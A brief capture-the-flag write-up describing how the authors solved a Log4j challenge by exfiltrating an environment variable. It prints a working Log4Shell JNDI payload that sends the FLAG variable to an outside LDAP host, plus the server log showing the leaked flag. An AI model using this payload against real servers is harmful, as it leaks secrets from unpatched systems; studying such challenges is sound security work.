The solution to the challenge was quite simple. The flag was stored in an environment variable, which hinted at using the log4j exploit that does not achieve RCE but only environment variable exfiltration via a LDAP (or DNS, ...) request. The payload was just the log4j exploit string pointing at this server targeting the flag, however we needed to actually have something to detect the queried LDAP path containing the flag.
	${jndi:ldap://neuromancer.sk/${env:FLAG}}
Simply listening on the LDAP port showed some communication from the vulnerable server, but the requested path is not sent in the first request and without a proper LDAP server response the vulnerable service would not send it. We quickly whipped up the first LDAP server that we found [`slapd`](https://www.man7.org/linux/man-pages/man8/slapd.8.html) and after a bit of bumbling around with its configuration to have it run and log, but after checking the syslog, there it was!
	Dec 17 16:43:31 Finn slapd[476096]: conn=1001 op=1 do_search: invalid dn: "hxp{Phew, I am glad I code everything in PHP anyhow :) - :( :( :(}"
This challenge could have also been solved without the LDAP server, see [here](https://nandynarwhals.org/hxp-ctf-2021-log4sanitycheck/) for example.